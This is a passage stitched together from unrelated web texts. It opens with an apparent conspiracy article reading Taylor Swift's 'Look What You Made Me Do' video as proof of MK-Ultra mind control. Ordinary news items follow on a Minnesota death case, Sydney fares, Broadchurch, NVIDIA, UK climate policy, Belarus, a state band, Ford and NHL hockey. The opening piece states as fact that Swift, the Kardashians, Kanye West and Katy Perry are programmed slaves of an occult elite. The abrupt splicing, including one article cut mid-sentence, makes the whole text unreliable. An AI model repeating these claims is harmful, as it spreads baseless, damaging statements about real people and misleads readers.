This image of Swift’s corpse is juxtaposed with the new persona laying in diamonds.
In MK programming, diamonds are used to identify Sex Kitten slaves who elevated to a “higher” level and to become “presidential models”.
“For bona-fides & recognition signals, the Monarch slaves wear diamonds to signify they are presidential models, rubies to signify their Oz programming for prostitution, and emeralds to signify their programming to do drug business.”
– Fritz Springmeier, The Illuminati Symbolism to Create Mind Control Slaves
In the next scene, Taylor is crowned a “high priestess” of the industry. How? By recreating the High Priestess tarot card.
In previous articles, I’ve stated that Madonna was considered a High Priestess of the industry. It appears that Taylor Swift has now achieved this status as well.
But why is this Grand Priestess surrounded by snakes?
Do the snakes represent Swift owning up to her being called a snake by Kim Kardashian on social media? On one level, yes. However, considering the occult context of this scene, snakes also represent a deeper concept. Indeed, in Mystery schools, the serpent is associated with Lucifer – the light bringer – the “savior” who brought knowledge to Adam and Eve by convincing them to bite the proverbial apple. She’s a Grand Priestess in the occult elite’s system.
On each pillar is inscribed ET TU BRUTE, a Latin phrase meaning “And you, Brutus?”. These words were made famous in William Shakespeare’s play Julius Caesar, said by Caesar as he was being stabbed to death by his friend and protégé Brutus.
What does that mean in Taylor Swift’s context? Is she the Julius Ceasar of the industry who keeps being stabbed by lower individuals? Whatever. Because, in the next scene, we understand that, despite being a High Priestess and akin to Julius Caesar, she is still subjected to the will of her handlers.
Why is Taylor Swift singing “Look what you made me do” as she crashes her car? Who made her do this? As Swift gets out of the car, things are symbolically clear.
When Swift sings “look what you made me do”, she is actually singing to the industry that owns her. It controls her rise to success and her downfalls, pushing her to self-destruction (and even death) if needed.
The next scene clearly depicts what being an elite star truly means.
Humans stuck in bird cages is a recurrent symbol to identify MK slaves in popular culture. This specific symbol has been identified several times on Vigilant Citizen.
While in the cage, Swift sings:
I don’t like your kingdom keys
They once belonged to me
This is blatant MKULTRA vocabulary. Handlers in MK programming obtain the “keys of the kingdom” of a slave by taking control of their core persona – their real self.
The next scenes depict Swift as a Beta Kitten who leads a bunch of other kittens.
In the above scene, Swift and her followers steam money from a streaming company. Is that what actually happened?
In another scene, Swift is the head of an army of girl bots.
According to mass media, this scene pokes fun at Swift’s “squad” of models she likes to hang out with. This might be correct on one level. However, the imagery goes much deeper than that.
As a High Priestess, Swift has power and influence over the next generation of industry bots.
The Old Taylor is Dead
The end of the video depicts the death of the “old Taylor” and the birth of yet another persona.
The next scene is another Monarch symbolism classic.
This scene is yet another Monarch industry cliché. Need an example? Okay, here’s the final scene from Iggy Azalea’s video Change Your Life.
Then Taylor says:
“I’m sorry, the old Taylor can’t come to the phone right now.” “Why? Oh ’cause she’s dead!”
The video ends with Taylor Swift’s multiple personalities arguing with each other.
At one point the zombie tells the starry-eyed, constantly surprised Swift of the early days:
“Stop acting you’re all nice. You are so fake.”
That’s the point of it all. Everything about her is fake. She constantly gets re-shaped and re-molded to fit her handlers’ will. Which one is the real Swift? Who knows? Oh, her handlers know.
On a more visceral level, LWYMMD is about death, pride, greed, revenge, viciousness, hatred, mockery, power, control, exploitation and boatload of egoism. It is about negativity, destruction, and low vibrations. In short, it is a typical product of today’s toxic popular culture.
In Conclusion
Some might say: “Bro, you reaching bro. This is about Taylor Swift dissing Kanye, Kim, Katy, Calvin, and others. That’s it. I read it on E! Online, so I got the actual 411 bro”. But, bro, think about it for a second. Kanye completely broke down last year and was forcibly sent to a hospital. He reportedly suffered memory loss and still has not resurfaced. The entire Kardashian/Jenner family has been, for years, all about Beta Kitten programming. Katy Perry has been a tool of the elite for years. In short, we are witnessing puppets insulting other puppets. Behind the scenes, the puppet masters are the same. There is no actual beef, just ridiculous, fabricated drama from people living in a toxic cloud.
Like in everything else in history, the truth about LWYMMD lies in the symbolism. Through strong imagery, the video depicts Taylor Swift ascending ranks inside a sinister system bent on control and exploitation. Stars like Swift are at the mercy of the people that control them. And when they are ordered to do something, whether it is constructive or self-destructive, they do it or they break down. And when they do it, all they can say is: “Look what you made me do.”Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
Oct. 8, 2017, 8:46 PM GMT / Updated Oct. 8, 2017, 8:46 PM GMT By Associated Press
A Minnesota man who lived in a house with the decomposing bodies of his mother and twin brother for about a year said he could not bring himself to report their deaths to authorities.
"I was traumatized," Robert James Kuefler told The Associated Press on Saturday. "What would you do?"
White Bear Police Capt. Dale Hager said Kuefler, 60, was charged last week with interference with a dead body or scene of death because Kuefler moved his brother's body. Hager said both the brother and the mother died of natural causes in 2015.
The decomposing bodies of Evelyn Kuefler and Richard Kuefler were discovered Tuesday Oct. 3, 2017 inside Robert James Kuefler's home in White Bear Lake, Minnesota. KARE 11
Several months after their deaths, Kuefler wrote to other family members in a Christmas Card that both were in bad health and could not talk on the phone and did not want visitors. Police didn't find the bodies until September 2016, when a neighbor reported that the Kueflers' lawn in the Minneapolis suburb of White Bear Lake was overgrown and that it had been a long time since she had seen activity at the house, the St. Paul Pioneer Press reported.
Kuefler told the AP that his mother, 94-year-old Evelyn Kuefler, died in August 2015 and his brother, Richard Kuefler, died several months before. Court records say the mother's body was decayed and skeletal and the brother's body was "mummified."
"I am not some nut ball," the maintenance worker said in a telephone interview. "People think I am, but I'm not. I loved them."
Hager said disability and Social Security checks for Krueger's mother and brother were sent to their accounts by direct deposit and that it did not appear that any money was withdrawn, though federal authorities are still investigating. Kuefler told the AP that he did not tap the accounts.
Hager said authorities decided to file the misdemeanor charge against Kuefler in part to help get him some psychological help through the court system.
"This is our way of introducing this case onto the court," Hager said. "We do believe his actions violated the law. Moving the body of his brother disrupted the death scene."
"We're depending on our partners in the court system to make a good decision," he said.
Kuefler, who has no criminal history, said he needs no counseling.
"I watched my mother die," he said. "She always said she wanted to die at home. She didn't have any burial plans."IPART chairman Peter Boxall said the fare review, announced last week, would consider a range of options for improving the Opal system, with a particular focus on whether fares should be more integrated across the rail, bus, ferry and light rail networks. "With the roll-out of Opal electronic ticketing now largely complete, there is an opportunity to consider a range of fare options that were previously not practical under paper tickets and look at where improvements should be made," Dr Boxall said. "We are looking at not only how much passengers should pay, but also whether charges should be based on the type of transport used, the time a journey occurs, the distance travelled and how often it is used." Charging passengers more for using more than one type of mode in a single journey was "inequitable", and could discourage the most cost-efficient operation of the transport system, said an IPART issues paper released on Tuesday. But switching over to a fully integrated system, where fares were not dependent on the transport mode, could mean new trade-offs.
While train passengers taking short journeys would end up paying about 20 per cent less under one example of such a fare structure, most rail commuters would end up paying about 10 to 15 per cent more, the paper said. The same scenario would result in a price jump of up to 25 per cent for most bus passengers travelling during the peak. IPART is seeking public feedback to the options set out in the issues paper by August 28. Proposed fares will be released for further public comment in December, with any changes to come into effect next July. "It is too early to say what impact there will be on fares," Dr Boxall said. The overhaul has been prompted by the imminent upheaval of the inner city bus system, which will require more passengers to either walk longer distances or change modes once construction on the light rail starts in October.
"I think it is time that we recognise that this is the way to go with the advent of Opal so we now have that ability to do that work," Transport Minister Andrew Constance told reporters on Friday. Greens transport spokeswoman Mehreen Faruqi welcomed the review, but criticised the state government for not undertaking it sooner. "With the introduction of Opal, the government missed an opportunity to integrate fares across modes," Dr Faruqi said. "This review provides the chance to finally get this done, in an equitable way." Labor's transport spokesman, Ryan Park, said on Monday that commuters travelling to central Sydney from western Sydney or the central coast were paying hundreds more annually under the Opal, compared to 2011 fares.
"Commuters have been stung by the small print," he said.When Chris Chibnall, creator and writer of Broadchurch, arrived at Claridge’s for the Radio Times covers party last January, he’d just come off the phone to Los Angeles having made the first step towards the dream-casting of London-born Oscar- nominated actress Marianne Jean-Baptiste, star of the long-running CBS missing-persons procedural Without a Trace. While writing series two of ITV’s totemic whodunnit, “Marianne had sort of lodged in my brain,” Chibnall reveals. “But I never thought we stood a chance of getting her, as she’d been away from the UK for so long, had a big career in Hollywood and all that.” But if you don’t ask, you don’t get.
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By the time I find myself in the dimly lit basement of a Marcus Wareing “small plates” restaurant in the West End, Jean-Baptiste is just about to wrap filming and head back for the Hollywood hills.
“Suitcases packed!” she enthuses, letting out a huge, warm, throaty laugh, fully aware that this makes her sound impolitely eager to check out, when in fact being a part of Broadchurch – and being back on British telly for the first time since a guest role in forgotten ITV detective series Sharman in 1996, and then as Doreen Lawrence in the 1999 TV film The Murder of Stephen Lawrence – has been “a fantastic experience.”
Although secrecy surrounded the plot at the time of our meeting (she plays no-nonsense defence barrister Sharon Bishop), expressing devotion to Chibnall was clearly permitted. “Listen, it’s a lovefest, man!” (much of what she says comes with a built-in exclamation mark). “He’s a magician, man.” In return, Chibnall describes her as “Sharp, funny, intelligent, intuitive, no-nonsense and always on the money.” He reveals that one of the other cast members calls her “the coolest woman on the planet”.
She wears her success lightly and although she’s clearly adapted to life on the West Coast, having emigrated full- time in 2001, she hasn’t lost her London accent, a feat she credits to living in a “very English household” – her husband, ex-ballet dancer Evan Williams, is English, their eldest daughter, 16, has an English accent (“How, I don’t know!”) and their youngest, aged 12,“goes in and out”.
The part of New York- accented FBI investigator Vivian Johnson in Without a Trace, which ended in 2009 after seven years and 160 episodes, gave the 47-year-old Jean- Baptiste security, a rare gift for actors, and she still gets “New York taxi drivers” screaming at her, “Hey, Vivian!” Did she miss the glamour of Hollywood when working on Broadchurch in West Dorset?
“The quality of the product is the most important thing,” she insists, getting serious for a moment. “It doesn’t matter if there aren’t huge tables full of food, all day. None of that matters.”
So basically the fruit plates are smaller on a British production?
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Another laugh. “What fruit plates? I’ve come from a world where you shoot an episode in eight days. Here, it’s supposed to be two-and-a- half weeks per episode. So just having that bit more room to breathe has been really good.”Though it was never quite as well known as creator Chris Carter’s other FOX series, “The X-Files,” “Millennium” has, since its three-season run in the late 1990’s, developed a sizable cult following. The show starred Lance Henriksen as a criminal profiler with the uncanny ability to put himself inside the mind of a killer. Now, thirteen years after the show went off the air, Henriksen tells ComingSoon.net that Frank Black could still return on the big screen.
“I think it’s going to happen,” Henriksen said today at the press junket for the upcoming animated series, “TRON: Uprising.” “I really do… There’s a big push on right now and there’s a lot of crazy people involved in it. They’ve written a book with interviews with everybody that was on the show including [Frank] Spotnitz and me… It’s crazy that you wouldn’t give it a shot. It doesn’t have to be a $30 million movie either. There’s a lot of fans out there in 65 countries. I can’t go into any other country without them wondering when the movie is going to be made.”
Following the demise of the series, Henriksen made one final appearance as Black in an episode of “The X-Files,” timed to air just before the end of 1999. What’s happened since then, Henriksen explained, would help fuel the film’s narrative.
“Ever since 9/11, the world has changed so radically,” he continued. “If ‘Millennium’ was made today with those characters, it would be a far more interesting show than the limited palette they had with serial killers. I love the idea of a non-judgemental character like Frank Black was… He wanted to know why and how all these things happened, but he knew that judging someone for what they’ve done would just get in the way of finding out things. Imagine that kind of morality and focus, like a master chess player. There’s beads on a string and suddenly you’ve got a necklace. He knew how to do it. It would be much more interesting now than it was then.”
The actor went on to explain what he’d like to see Black go through should a big screen “Millennium” become a reality.
“When you trap a guy like Frank Black,” he said, “who has that kind of imagination and you put him in a world like Bulgaria where everything is in Cyrillic and he can’t communicate actively with a lot of people, he has to do it in another way. I’ve thought of how it could be done. You just keep moving the pressure in on him about this kind of terrorist stuff. A terrorist plot. The pressure keeps building and building and building until you realize that that pressure gave him all the answers he needed. You would be gasping for air to wonder what is going to happen to this guy.”
While there is, at this point, no official word on whether or not the “Millennium” feature will ever make it to production, check back for updates on the project as they become availble and for more from Henriksen and the rest of the cast and crew of “TRON: Uprising” closer to the series’ premiere on June 7th.It's the NVIDIA rumor that won't die: no, not the one where the GPU maker buys tiny VIA, but the other one, where it jumps feet-first into competition with both Intel and AMD by producing an x86 processor of its own. The idea has cropped up again in an analyst note from Doug Freedman of Broadpoint AmTech, in which Freedman claims that NVIDIA has been hiring former Transmeta engineers to work on a secret x86 processor that will appear sooner rather than later. In the note seen by the EE Times, Freedman emphasizes that NVIDIA not will take on Intel's Core i5/i7 lineup. Rather, the company's plan is to it attack the mid-range to low-end market, possibly competing with AMD in the value segment.
Before unpacking the rumor, let's lay out the full rationale for the "NVIDIA goes x86, competes with Intel head-on" idea.
First and foremost among the reasons cited for NVIDIA's alleged plans is the fact that we're about to make another turn on Sutherland's wheel of reincarnation, where graphics functionality will move back onto the CPU die. When this happens, NVIDIA's lucrative integrated graphics processor business is, of course, toast, which has to be one reason why the company went ahead and euthanized it a bit early.
This turn of the wheel is interesting because it's not just that the integrated graphics processors (IGP) will move from the chipset to the CPU, but retain their same basic degree of specialization. Rather, both the integrated GPUs that go onto the CPU die and the more discrete models are essentially becoming many-core, general-purpose processors (albeit specialized for multithreaded throughput and floating-point). This makes the situation even more ominous for NVIDIA, because not only will Intel and AMD take their IGP market from them, but even in the discrete GPU market NVIDIA will also end up with a generalized processor that competes with x86.
The ultimate point is that in both the discrete and integrated GPU markets, NVIDIA is already destined to compete directly with Intel and AMD, which means that an actual x86 product from NVIDIA means only that NVIDIA has decided to fight x86 with x86, as opposed to fighting it with some non-x86 architecture.
What about those Transmeta engineers?
The fact that NVIDIA has hired a bunch of ex-Transmeta guys doesn't necessarily mean anything at all for this supposed x86 processor.
As the launch of Apple's Snow Leopard, with its pervasive use of LLVM, makes clear, just-in-time compilation (JIT) is the way that everyone is going to tackle the many-core problem, at least in the near-term. This is because even when you know at compile-time that your target architecture is x86, you probably don't know the number of x86 cores that users will have available, so you can delay some parts of the compilation process to runtime so that the output precisely fits the target machine's hardware.
If you're already using JIT by default to map code to hardware at runtime, then you can just target non-x86 cores as well, should any be present. This is how Snow Leopard is able to take advantage of GPU hardware alongside multicore x86 for general-purpose computing tasks.
Because the software side of the GPU is already headed towards a heavy reliance on binary translation techniques, it makes sense that NVIDIA is scooping up Transmeta guys regardless of any plans to produce a CPU. So, again, the Transmeta hires don't necessarily augur much of anything.
In fact, the notion that NVIDIA might produce a non-x86 processor but use binary translation to sell it as an x86 competitor appears completely ridiculous. Now, this doesn't mean it won't happen—it just means that if it does, it'll fail miserably and we'll all have a laugh.
As for whether NVIDIA is actually planning an x86 CPU, I have no idea. As I always say when this rumor crops up, the scuttlebutt from journalists who have sources is that NVIDIA is indeed going to bring such a beast to market. I don't have any sources—just a bit of sense—and I think that anyone who jumps into the x86 market at this point is completely nuts, especially if they decide to roll their own instead of buying VIA.Long awaited strategy says green economy will grow 11% per year but plan will miss carbon emissions targets, drawing criticism
By Megan Darby
The UK government emphasised the economic benefits of tackling climate change on Thursday as it unveiled a long-awaited clean growth strategy.
Promising billions of pounds worth of investment in offshore wind power, electric vehicles and technology innovation funds, it set a bullish tone for low carbon industries.
Climate minister Claire Perry told parliament “the opportunities are absolutely enormous”, in stark contrast with the Trump administration’s rhetoric across the Atlantic.
The government predicts the low carbon economy, which employs an estimated 430,000 Brits, will grow 11% a year from 2015 to 2030.
The government said the strategy showed the UK was “leading the world in cutting carbon emissions to combat climate change while driving economic growth”.
According to its own report, however, the raft of policies does not go far enough to meet legally binding emissions caps from the mid-2020s onwards.
Under the UK’s 2008 Climate Change Act, the government must stick to a series of progressively tightening “carbon budgets”, set by the independent Climate Change Committee. That model has been copied by other states.
Emissions are set to exceed the fourth carbon budget (2023-27) by 6% and fifth (2028-32) by 9.7%. If necessary, the government suggested, it could make up the difference by banking over-achievement from earlier carbon budgets or buying international offsets.
As the policies get fleshed out, Perry said she expected that gap to close. “My sense is: given the ambition, given the pace of change, given the extraordinary changes in the cost and adaptation of new technology, we will actually comfortably exceed these targets,” she said.
The Climate Change Committee (CCC) welcomed the strategy’s “new thinking and ambition” but warned the government could not rely on “flexibilities” to deliver.
“This should not be the plan,” said chair John Gummer. “The clear intention of the UK’s fourth and fifth carbon budgets is that they are delivered through domestic action to keep the UK on the lowest cost path to the 2050 target to reduce emissions by at least 80% compared to 1990 levels. That should be the goal, without the use of accounting flexibilities or reliance on international carbon credits.”
Environmental law firm Client Earth said it was considering legal options to enforce that commitment.
“The intention to bank credits is not an excuse for failing to plan,” lawyer Jonathan Church told Climate Home. “Banking over-achievement should be a last resort.”
Lowballing the policy plans also suggests little scope for ratcheting up ambition, as required by the Paris Agreement. Recognising that voluntary national commitments were collectively insufficient to hold global warming “well below 2C”, the international goal, countries agreed in Paris to periodically review and deepen emissions targets.
The UK has not had to submit a national plan to the Paris deal as the EU makes commitments as a bloc. That will change after Britain leaves the EU.
“We may well be increasing the overall ambition of our targets at some point, so meeting them should be an absolute minimum,” said Church.
The clearest winners from the package are electric vehicle and offshore wind industries.
In line with a previously announced deadline to phase out traditional car sales by 2040, government announced £80 million ($105m) for electric vehicle charging infrastructure and £1 billion ($1.3bn) in subsidies for EV buyers.
There will be £557m for renewables developers competing in auctions, with the next one scheduled in 2019. Encouraged by recent sharp cost reductions in offshore wind bids, the strategy called for another 10GW to be built next decade.
Pots of money for research and development of clean technology in various sectors add up to £94m.
Carbon capture and storage, a technology assumed in most climate models to deliver a large chunk of decarbonisation, is in line for up to £100m. That is a tenth the amount promised – and cancelled – by previous governments to develop a commercial scale pilot.
Oliver Rix, energy partner at consultancy Baringa Partners, described it as “a fairly insubstantial sum” that was “unlikely” to get an end-to-end project off the ground.
Absent from the strategy was any substantive policy for aviation and shipping. International transport is projected to account for a growing share of global emissions if not tackled. In the UK, the CCC has warned government-backed plans for a third runway at Heathrow Airport risks blowing emissions targets.
“The strategy’s ambition is to be welcomed, however the details fall short of what we need to lead the UK to a green and prosperous future,” said Gareth Redmond-King, energy and climate lead at WWF.
“The UK Government has much more work to do in putting forward credible policies to close a carbon gap of nearly 10% by 2032. We have been a global climate leader, but if we set out plans that don’t meet our own targets to meet the global threat of climate change, then we will have so much further to go to meet the more ambitious international ones agreed in Paris.”
On Wednesday, the UK teamed up with Canada to announce an alliance that will encourage countries to commit to phasing out coal power. The UK has said its last coal station will close by 2025.The Belarusian authorities must explain to the public what steps they intend to take to combat the serious economic crisis facing the country, the head of the IMF mission in Belarus said.
The Belarusian authorities must explain to the public what steps they intend to take to combat the serious economic crisis facing the country, the head of the IMF mission in Belarus said on Monday.
There is a serious economic crisis, IMF representative Chris Jarvis said at a press conference in Minsk, but there is a way out. The state must explain to the public what is happening and that it intends to do, he said.
The comments come as Belarusians get used to standing in lines to buy foreign currency and cheap vegetables in scenes reminiscent of the late Soviet and early post-Soviet times.
Currency is almost impossible to buy in exchange offices but there are still hundreds of people waiting for any to become available. There are regular roll calls to check the waiting list and anyone not appearing is crossed off.
Jarvis said the IMF recommended the government move to a free floating exchange rate, which would reduce the budget and current account deficits. It would also, he said, effectively cut workers' salaries and create uncertainty in the market.
Belarusians aren't just lining up for hard currency, though - dozens will wait in line for discounted produce. In Minsk, substandard tomatoes cost about a dollar per kilogram, while standard-quality tomatoes are about twice the price. Quality cucumbers are $1.50 per kilogram, but the cheapest go for just 20 cents.
Except for oranges and bananas, once plentiful imported fruits such as kiwi, mandarins, pineapples, avocados and grapes have all but disappeared from shelves, and their prices are now extravagant for middle-income Belarusians.
It's the same situation with fish. Saltwater species, which have to be imported in the land-locked country, are especially scarce, and there are only two or three varieties on the shelves, where there were 20 or 30 before.
The cheapest cigarettes are still available, but smokers used to higher-priced brands may struggle to get their usual nicotine fix. Imported appliances are no longer available, and even the Belarusian Atlanta brand refrigerators and washing machines are much more expensive. Imported detergents and other cleaning and hygiene products are also in short supply, with many supermarket shelves sparsely populated.
But help is on the way - the first tranche of a $3 billion loan from the Eurasian Economic Community (EurAsEC) is due this month. Meanwhile, Belarus is seeking up to $8 billion from the IMF. Jarvis said on Monday that there would be no political element to any loan deal, but it would be dependent on economic reforms.
MINSK, June 13 (RIA Novosti)Written by David A. Welch.
In an earlier piece, I suggested that the first thing Japan and Korea should do to set the stage for progress on dealing with the very real issues that divide them is to signal their joint desire for improved relations and for each to acknowledge that the other is an important country that has made, and can be expected to continue to make, important contributions to the region and to the world. I argued that these statements should focus on the positive, and that Japanese and Korean leaders should resist the temptation to dilute or qualify them by broaching lingering grievances. The purpose of this first step would not only be to set a constructive tone, but to encourage both countries to see the very real problems in their relationship not as battlefields on which to contend, but as mutual challenges to be overcome.
There are two main such problems. The more difficult and less tractable we might call “the history problem.” I use this label to encompass a basket of closely related, |
shouted. A cafeteria isn't the ideal setup for performing a symphony, but when you're the Minnesota State Band, the only state band left in the nation, you take what you can get. Indeed, at many points in its 120-year history, the band could’ve easily fallen apart and never gotten back together. Funding from the state has gone from scant to nonexistent. And even this practice space — the only space provided by the state — was in jeopardy. After more than forty years, the band was nearly kicked out a few years ago. But the trickier problem seems to be a more fundamental one: few people even know Minnesota has a state band, let alone that it needs funding.
MinnPost photo by Briana Bierschbach
Hanging on for 120 years In some ways it makes sense that the band practices in a state office building. It was started in 1898 by state employees who wanted to do something for fun. Back then, plenty of other states had official bands; in fact, they were often an important part of official ceremonies and dedications. On June 26, 1898, the Minnesota State Band played its first two concerts ever at Como Park, and the crowds were huge. More than 5,000 people showed up for the two shows, which had marches, trumpet solos and dance music. The shows were so popular the band was booked for a week of concerts in the park that July and August. Eventually, the Twin Cities’ rapid transit organization paid state band members to play because the company was making so much money off of fares from people traveling to see them.
Courtesy of the Minnesota Historical Society Minnesota State Band circa 1900.
That year the band also played for the opening game of the St. Paul Apostles baseball season, bicycle shows, and riverboat excursions. It gave concerts at the Grand Old Opera House and the State Republican Convention and welcomed home soldiers returning from the Spanish American War. In fact, the band was so good in its early years that bigger bands often poached its talent. Christan Selling, the band’s first conductor, eventually went on to play on Broadway. Over the years, the band transformed into whatever the state needed. They played at the dedication of the Capitol in 1905, functioned as the regimental band of the state of Minnesota, and served as a feature player at rallies during World War II. Over the years, the band transformed into whatever the state needed. They played at the dedication of the Capitol in 1905, functioned as the regimental band of the state of Minnesota, and served as a feature player at rallies during World War II. But as radio became a popular medium in the 20th Century, many states abandoned their official bands. “People didn’t need to get their music from concerts anymore,” Boody said.
Courtesy of the Minnesota Historical Society The Minnesota State Band in the river after a Sunday concert at Harriet Island in 1905.
And yet, the Minnesota State Band played on, thanks to sheer tenacity. For four decades, that persistence was personified by Joseph Komro, an accountant in the Department of Natural Resources who served as the band's unpaid conductor, public relations manager and fundraiser. In 1975, he used his connections at the DNR to get a practice space in the Department of Transportation’s cafeteria, even when other state resources were drying up for the band. Over the years, Komro became an unofficial ambassador of the state in his role as state band conductor, taking the band on several trips to Europe, including France, Spain and England. He started many of those international concerts with “Hail Minnesota,” the state song. Mary Murphy, a DFL state representative from Hermantown who was working for former Gov. Rudy Perpich in the 1980s, said she sold hundreds of candy bars to help the band get to Austria and Germany, and members still had to pay $500 out of pocket to go. She went along on the trip as Perpich’s representative. “As we traveled and the Minnesota band played, [people from other countries] said that as long as people could communicate through music and beer, everything else could get settled,” she said. But even during Komro’s leadership, the band ran into troubles. His preference for crowd-pleasing music like marches and show tunes (he occasionally snuck the theme from the movie E.T. into shows) caused a rift with some members of the band, who wanted to play more serious music. Half the band quit in 1994 and started a new band, with Komro trying to keep the rest of the members together. In 2003, Gov. Tim Pawlenty proposed cutting $300 from the $2,000 the band was getting from the state at the time. It was the smallest cut back the governor proposed in his budget, but for the band, it was another symbolic blow. Komro went on a public relations campaign to get the funding restored, and a private company swooped in and cut them a check for $300. “Of course Joe was a good musician, but more than anything, he was a great public relations manager,” Boody said. “That’s what the band needed.” The band faced another big challenge when Komro suddenly died of cancer in 2005. “He directed the band for so many years and he was very organized and did an incredible amount of work to promote the band and finance the band,” said Keith Liuzzi, who spent 20 years as the music director at Southwest High School in Minneapolis and is now the state band conductor. Then, in 2015, the commissioner of the Department of Transportation discovered that the band was playing in the cafeteria at night. Technically, they were never authorized to practice there, even though they’d been doing it for four decades, and there was discussion of having the band find their own space to rent. “The commissioner didn’t quite understand what the band was and didn’t understand that the band was a historical group,” Murphy said. “But then the band invited the commissioner to a concert and he went and he was blown out of his seat because they were so good.” Rep. Dean Urdahl, R-Grove City, is the Legislature's resident historian and helped secure the state band’s practice space. His solution: pass a state law that the Minnesota State Band can practice in the cafeteria once a week — at least until another legislator decides to take the provision out of law. From state band to a community band Things were picking up at state band practice, but there are always complications with a band of a certain size. “Just be patient,” Boody said at one point during practice, as they switched to a different part of the song. “We’re waiting for our principal keyboard player to become a principal trumpet player.”
MinnPost photo by Briana Bierschbach
After some shuffling of seats, the band picked up the Mahler’s 4th Symphony again. They’re getting ready for two concerts, one on March 31 at St. Paul’s United Church of Christ, and another show on April 1 at the Litchfield Opera House. These days, the band is a nonprofit made up of about 45 members who not only volunteer to play, they pay a $50 membership fee. They bring their own instruments, save for a few larger percussion instruments owned by the band, which are falling apart. The band hadn’t gotten direct funding from the state for years. Two years ago, the band asked for a $50,000 grant through the state’s Legacy funding bill. They ended up getting about $20,000, enough money to swing a few tours and travel 1,300 miles across Minnesota for 17 free concerts in high schools, veterans homes, parks and community centers. “We managed three tours anyway, but we didn’t manage any new instruments,” Boody said. “It’s champagne on a beer budget.” They piled onto Minnesota Coaches buses and stayed in cheap hotels as they did a three-day tour of the Iron Range. It felt similar to so many trips Liuzzi took at Southwest High School, he said, except it was all adults. “The reality is it’s a community band,” said Liuzzi. “It has the name of the Minnesota State Band, and it did in its origin perform a lot of state functions. We are trying to get that tradition have it be more active again as part of the state.”
Courtesy of the Minnesota State Band The Minnesota State Band performing at the Alexandria Area High School on April 30, 2016.
This year, they're asking state legislators for $25,000 in 2018 and another $25,000 in 2019 to continue traveling across Minnesota and help replace some of the more expensive, large percussion and brass instruments that aren’t as easily repaired. In a recent hearing of the House Legacy Funding Committee, members of both parties were supportive, including Rep. Mike Freiberg, DFL-Golden Valley, who has stepped in to play keyboard with the band when they need it. If the band can travel, then word will get around the state that Minnesota does, in fact, still have a state band, Urdahl said. “A little bit of funding would allow them to travel so that the state band can truly be a state band.” But they’re competing against hundreds of other arts and conservation projects that apply for funding through the Legacy amendment each year, including more than two dozen community bands in the metro area alone. They hope the fact that the band is playing at the state Capitol’s reopening celebration in August after a three-year restoration project will help their cause.
MinnPost photo by Briana BierschbachFord Posts its Worst Quarter Ever
This is a guest post from Ben Nelson, forum member and electric motorcycle guru. Thanks, Ben!
Back in January 2007, the Washinton post reported how the Ford Motor Company had reported a loss of $12.7 billion in 2006, the worst in its 103 year history.
In the same article, “Ford…blamed the loss in 2006 on a profit collapse in its truck-dependent North American division.”
Today, Ford reported a second-quarter loss of $8.7 billion – the worst quarter ever.
Of course most of us sort of expect that. We hear in the news every day about the cost of food, energy, and healthcare. We hear about the housing market and banks going bankrupt.
But we plan ahead, we change as we have to, as do the motor companies.
In May, the F-150, the “best-selling vehicle in America” was outsold by Honda’s Civic and Accord and Toyota’s Camry and Corolla. None of which are pickup trucks, and all of which are know as well-built, fuel-efficient vehicles.
So, Ford is changing right?
In June, Green Car Congress reported that “Ford Motor Company will produce the new Ford Fiesta small car for North America at the company’s transformed Cuautitlán Assembly Plant—currently producing F-Series (F-150 to F-550) pickups for the Mexican market—beginning in early 2010.” North America – that means the Fiesta may or may NOT even be for sale in the United States. And sales two years from now aren’t doing Ford any good this summer.
Take a look at Ford’s main web page. In the “Vehicle Showroom” feature for the Ford brand, six of the vehicles are “cars”, everything else is a pickup, SUV or crossover. And that’s only if you count the Focus and Mustang twice.
While the Ford Escape Hybrid offers greatly improved city mileage over it’s standard engine brother, it comes at a premium of about $8000 extra. That’s if you can find one. This spring, when I checked on availability of that vehicle, I found that there was only one, literally just one, for sale at any dealership in the entire state!
For years, auto manufacturers have been saying that they just are giving the public what it wants, and that’s trucks and SUVs. Ford has continued its manufacturing based on outdated modes of thought about what people want in a vehicle.
Right now, what the public wants is something affordable to operate – not another gas guzzler.
Will Ford make changes to its lineup quick enough to continue as one of the major manufactureres, or will “Built Ford Tough” simply not be good enough?
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Popularity: 2% [?]There’s an awful lot of heat in the desert with the NHL schedule ready to end in two weeks.
The Arizona (insert old joke here) Coyotes are ready to miss the playoffs for the fourth straight year and it sure sounds changes are being pondered at every level _ including the front office.
While coach Dave Tippett is highly-regarded and it doesn’t sound like he’s going anywhere, the word is Arizona GM Don Maloney is under the microscope because the Coyotes haven’t qualifed for the playoffs since they lost to the Los Angeles Kings in the Western Final 4-1 in 2012.
Not only are the Coyotes looking for a new place to play because of their tentative lease agreement in Glendale, the organization needs to have playoff success to help create interest in a difficult marketplace.
The club is headed for another Top 10 pick in the lottery and that may not bode well for Maloney. The belief is somebody in the ownership group doesn’t like this slow, methodical approach and they want the rebuild to happen faster with youngsters Max Domi and Anthony Duclair already on board.
With seven UFA’s this summer _ including captain Shane Doan, who is expected to return _ the Coyotes will have money to spend to make deals and sign players try to get back to the post-season.
Whether Maloney is one to guide the Coyotes isn’t clear but it’s certain Tippett has no concerns. Yes, Tippett is a good coach, but as one NHL executive noted they seem to be “enamoured” with him.
All this will make for an interesting summer.
THIS N’ THAT: League executives were taken aback by Ottawa owner Eugene Melnyk’s comments last week about coach Dave Cameron’s choice to start rookie goalie Matt O’Connor in Game 2 at the Canadian Tire Centre. Many felt it must have been bugging Melnyk for a long time and Cameron probably shouldn’t have put himself in that position in the first place. “When you do that it had better work,” said one league executive. “You don’t overthink the home opener. That’s one where the coach should never be questioned on who his starter is.” Nobody should interpret Melnyk’s comments as an insult to O’Connor because they weren’t intended to be. This, and a number of other decisions, mean the search for a head coach likely will begin at the end of the season … There’s nothing new to report on Islanders’ defenceman Travis Hamonic, who requested a trade before the season. He had agreed to finish the year with the club and expect GM Garth Snow to try to fulfill the request before the NHL draft in June.
